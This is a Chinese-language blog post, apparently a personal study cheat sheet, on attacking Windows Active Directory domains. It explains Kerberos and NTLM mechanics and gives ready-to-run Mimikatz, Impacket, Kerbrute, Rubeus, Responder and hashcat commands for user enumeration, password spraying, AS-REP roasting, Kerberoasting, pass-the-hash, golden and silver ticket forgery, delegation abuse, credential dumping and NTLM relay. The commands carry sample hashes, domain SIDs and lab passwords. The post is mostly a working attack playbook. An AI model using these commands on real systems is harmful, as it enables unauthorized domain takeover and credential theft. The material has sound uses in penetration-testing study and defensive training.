• 域渗透


    域渗透

    用户名枚举

    • 原理

    Kerberos协议中AS阶段,kerberos返回的不同错误信息判断

    用户状态

    Kerberos错误

    说明

    目前/已启用

    KDC_ERR_PREAUTH_REQUIRED

    需要额外的预认证

    锁定/禁用

    KDC_ERR_CLIENT_REVOKED

    客户端凭证已被吊销

    不存在

    KDC_ERR_C_PRINCIPAL_UNKNOWN

    在Kerberos数据库中找不到客户端

    • 适用条件

    域外,没有域凭证(域内可以查询ladp,net user /domain)

    • 利用方法
    • Msf

    auxiliary/gather/kerberos_enumusers

    • Kerbrute

    kerbrute.exe userenum --dc DCIP -d domain users.txt

    Password Spraying(密码喷洒)

    • 原理

    Kerberos协议中AS阶段,kerberos返回的错误信息判断

    用户状态

    Kerberos错误

    密码错误

    KDC_ERR_PREAUTH_FAILED

    • 利用方法
    • Kerbrute(域外)

    kerbrute.exe passwordspray --dc DCIP -d domain user_file password

    • DomainPasswordSpray.ps1(域内)

    Import-Module .DomainPasswordSpray.ps1

    Invoke-DomainPasswordSpray -Password lm123!@#45

    AS-REPRoasting

    • 原理

    当用户登录时,他们使用从其密码生成的加密密钥对一条信息(时间戳)进行加密,以向验证服务器证明他们知道密码。此步骤称为“预身份验证”。

    域用户,如果设置了选项”Do not require Kerberos preauthentication(不需要kerberos预身份验证)”

    向域控制器的88端口发送AS_REQ请求,会返回使用用户hash加密session-key,我们通过进行离线爆破就可以获得用户hash重新组合

    • 利用方法
    • ps1(非域)

    Import-Module .ASREPRoast.ps1

    Get-ASREPHash -UserName 用户名 -Domain 域名 -Server DCIP | Out-File -Encoding ASCII hash.txt

    • exe(域内)
    • 破解
    • 使用hashcat对获得的Hash进行爆破

    将hash.txt里面的除Hash字段其他的都删除,复制到hashcat目录下,并且修改为hashcat能识别的格式,在$krb5asrep后面添加$23拼接。

    hashcat -m 18200 hash pass --force

    Pass The Hash(Key)

    • 原理

    由于在进行认证的时候,是用用户hash加密时间戳,即使在使用密码进行登录的情况下,也是先把密码加密成hash,再进行认证。因此在只有用户hash,没有明文密码的情况下也是可以进行认证的

    • 如果hash的ntlm hash,加密方式是rc4,这种就算做是pass the hash
    • 如果是hash是aes key(使用sekurlsa::ekeys导出来),就算是pass the key
    • 利用条件
    • 工作组
    • Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
    • Windows Vista 之后的机器,只能是administrator(SID:500)用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。
    • 修改目标机器的 LocalAccountTokenFilterPolicy 为1后,使用普通账号也可进行哈希传递攻击

    HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemLocalAccountTokenFilterPolicy

    • 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器
    • 利用方法
    • Mimikatz

    sekurlsa::pth /user:Administrator /domain:workgroup /ntlm:85185b71cc31dbe7935187ad28d153a8

    • Impacket

    psexec.py

    smbexec.py

    atexec.py

    wmiexec.py

    dcomexec.py

    都支持使用hash进行远程命令执行,通过--hashes指定hash

    以psexec.py为例

    impacket-psexec -hashes 31d6cfe0d16ae931b73c59d7e0c089c0:85185b71cc31dbe7935187ad28d153a8 ./Administrator@192.168.110.134

    • Invoke-TheHash(powershell)

    Invoke-SMBExec  -Target 192.168.110.134 -Username Administrator -Hash  85185b71cc31dbe7935187ad28d153a8 -Command "calc" -verbose

    • Pass the Hash with Remote Desktop

    https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Pass-the-Hash-with-Remote-Desktop(Restricted-Admin-mode)

    Kerberoasting

    • 原理

    用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求,KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据,这也是kerberoating能利用的原因,任何一个用户,只要hash正确,可以请求域内任何一个服务的TGS票据

    • 请求的kerberos服务票证的加密类型是RC4_HMAC_MD5
    • 利用方法(域内)

    spn信息

    • Windows
    • 请求票据

    kerberos::ask /target:MSSQLSvc/Sync-Web.Sync.net:1433

    kerberos::list /export

    • Powershell

     Add-Type -AssemblyName System.IdentityModel  

    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Sync-Web.Sync.net"  

    • 破解(脚本原因未测试)

    python3 tgsrepcrack.py pass.txt 1-40a10000-Administrator.kirbi

    • Linux
    • 请求票据

    python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py -request -dc-ip 192.168.110.12 sync.net/liming:lm123!@#45 -outputfile /root/kirbi.out

    • 破解

    hashcat -m 13100 kirbi.out pass --force

    pass the ticket(ptt)

    • 原理

    Kerbreos 除了第一步AS_ERQ是使用时间戳加密用户hash验证之外,其他的步骤的验证都是通过票据,这个票据 可以是TGT票据或者TGS票据。因为票据里面的内容主要是session_key和ticket(使用服务hash加密的,服务包括krbtgt(金票)),拿到票据之后。我们就可以用这个票据来作为下阶段的验证了。

    • 可以导出一个本机中缓存的票据,或者请求一个新的票据
    • 利用方法
    • kekeo
    • 域用户及其口令/ntlm
    • 域控地址
    • 普通域用户权限即可
    • 请求票据

    tgt::ask /user:Administrator /domain:sync.net /ntlm:518b98ad4178a53695dc997aa02d455c

    • Mimikatz导入票据

    Kerberos::ptt TGT_Administrator@SYNC.NET_krbtgt~sync.net@SYNC.NET.kirbi

    一.1.1. Golden Ticket(黄金票据)

    • 原理

    每个用户的Ticket都是由krbtgt的密码Hash来生成的,如果拿到了krbtgt的密码Hash,就可以随意伪造Ticket了(TGT)

    • 条件
    • 要伪造的域用户(这里我们一般填写域管理员账户)
    • 域名
    • 域的SID值(就是域成员SID值去掉最后的)
    • krbtgt账号的哈希值
    • 利用方法
    • 导出krbtgt的hash

    lsadump::dcsync /domain:sync.net /user:krbtgt

    • 制作金票并导入

    kerberos::golden /user:administrator /domain:sync.net /sid:S-1-5-21-3759223866-655059005-237591253 /krbtgt:a2c8be6f5c6e665e632468c6dbb235e3

    kerberos:ptt ticket.kirbi

    一.1.2. Silver Ticket(白银票据)

    • 原理

    Silver Ticket是由服务账户(通常为计算机账户)hash加密,伪造的是TGS

    • 条件
    • /domain
    • /sid
    • /target:目标服务器的域名全称,此处为域控的全称
    • /service:目标服务器上面的kerberos服务,此处为ldap
    • /rc4:计算机账户的NTLM hash,域控主机的计算机账户
    • /user:要伪造的用户名,此处可用mrhonest测试
    • 利用方法
    • 获取服务账户hash

    privilege::debug

    sekurlsa::logonpasswords

    • 伪造票据并导入

    kerberos::golden /domain:sync.net /sid:S-1-5-21-3759223866-655059005-237591253 /target:sync-dc.sync.net /service:LDAP /rc4:97cb29f2d10e16add3d478583ad91cd0 /user:mrhonest

    kerberos:ptt ticket.kirbi

    • Dump用户hash

    lsadump::dcsync /dc:sync-dc.sync.net /domain:sync.net /user:liming

    委派

    一.1.3. 非约束委派

    • 原理

    当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了

    • 利用条件

    获取了设置了非约束委派的主机的system权限

    • 利用方法
    • 查询设置了非约束委派的主机(域控默认开启)
    • Powershell

    Import-Module PowerView.ps1

    Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol -Verbose | ft -a

    • Linux(需要域认证)

    ldapsearch -x -H ldap://192.168.110.12:389 -D "CN=chenli,OU=成都,DC=sync,DC=net" -w password -b "DC=sync,DC=net" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

    • 获取票据TGT

    此时如果域管连接了非约束委派的主机(smb,winrm等),TGT就会缓存在内存中

    privilege::debug

    //导出票据

    sekurlsa::tickets /export

    //导入票据

    kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-sync.net.kirbi

    • 非约束委派+Spooler打印机服务
    • 利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接
    • 利用方法
    • 监听来自dc的登录请求

    Rubeus.exe monitor /interval:1 /filteruser:sync-dc$

    • 强制dc回连

    普通域用户权限执行

    SpoolSample.exe dc 回连主机

    • 收到base64编码后的票据
    • 票据转换(powershell)

    [IO.File]::WriteAllBytes("绝对路径TGS icket.kirbi", [Convert]::FromBase64String("得到的base64"))

    • 导入票据

    kerberos::ptt ticket.kirbi

    可以dump域管hash

    一.1.4. 约束委派

    • 原理

    我们得到了user的明文密码或者ntlmHASH(server1的机器用户的明文密码或者ntlmHASH),可以在KDC上申请TGT,然后利用申请到的TGT伪造其它用户(一般是域管,因为只有域管权限才能设置委派)从KDC申请一个访问server2的可转发(使用任何身份验证协议)的TGS, 然后注入TGS即可

    如果设置约束委派为"仅使用kerberos",则请求到server2的TGS不可转发(TrustedToAuthenticationForDelegation未配置),s4uProxy会失败

    • 利用条件

    满足其一即可:

    获取到配置约束委派的服务用户的密码或者ntlm-hash

    获取到配置约束委派的服务用户所登录机器的system权限(mimikatz导出服务用户的密码或者ntlm-hash)

    • 利用方法
    • 查找配置约束委派的用户/计算机
    • Powershell

    Import-Module PowerView.ps1

    ////查找域中配置约束委派用户

    Get-DomainUser –TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl

    ////查找域中配置约束委派的主机:

    Get-DomainComputer–TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl

    • Linux

    //查找域中配置约束委派用户

    ldapsearch -x -H ldap://192.168.110.12:389 -D "CN=chenli,OU=成都,DC=sync,DC=net" -w cl123!@#45 -b "DC=sync,DC=net" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

    //查找域中配置约束委派的主机:

    ldapsearch -x -H ldap://192.168.110.12:389 -D "CN=chenli,OU=成都,DC=sync,DC=net" -w cl123!@#45 -b "DC=sync,DC=net" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

    • 请求票据(TGT)
    • 伪造票据(TGS)

    tgs::s4u /tgt:TGT_WINDOWS764-2$@SYNC.NET_krbtgt~sync.net@SYNC.NET.kirbi /user:Administrator@sync.net /service:cifs/sync-dc.sync.net

    • 导入票据

    kerberos::ptt TGS_Administrator@sync.net@SYNC.NET_cifs~sync-dc.sync.net@SYNC.NET.kirbi

    一.1.5. 基于资源的约束委派

    待续

    Ntlm破解

    • 使用Responder开启服务并监听

    responder -I eth0 -wrf

    • 诱导主机连接并认证
    • 获取到Net-Ntlm
    • 使用hashcat破解

    hashcat -m 5600  Net-Ntlm /root/pass --force

    Ntlm中继

    • 原理

    ntlm是一个嵌入式的协议,消息的传输依赖于使用ntlm的上层协议,比如SMB,LDAP,HTTP等。

    那ntlm的上层协议是smb的情况下,ntlm_relay就是smb_relay。那如果上层协议是http,我们也可以叫做http_relay,但是都统称ntlm_relay

    • 获取ntml

    https://daiker.gitbook.io/windows-protocol/ntlm-pian/5

    • 演示

    一.1.6. 中继到Smb

    impacket-smbrelayx -h 192.168.110.15 -c ipconfig

    连接中继服务器

    中继成功并返回执行命令结果

    一.1.7. 中继到mssql

    impacket-ntlmrelayx -t mssql://192.168.110.15 -q "select @@version"

    连接中继服务器

    中继成功并返回执行的sql语句结果

    一.1.8. 其它中继

    等我学会的

  • 相关阅读:
    Asp.Net 加密 web.config中的某个敏感信息
    异步模型中HttpWebRequest的Timeout
    WCF路由所有的请求到一个方法route all request to one operation
    .Net中直接操作内存
    【转】.NET AJAX实例
    【原】IE/FF 强制浏览器不读取缓存(强制刷新)
    【精】经典的css技巧
    【转】C#如何获取客户端/服务端IP地址
    【原】FireFox显示滚动条 [解决页面左右移动]
    【原】Function Import in Entity Framework 4 issue
  • 原文地址:https://www.cnblogs.com/mrhonest/p/14989188.html
Copyright © 2020-2023  润新知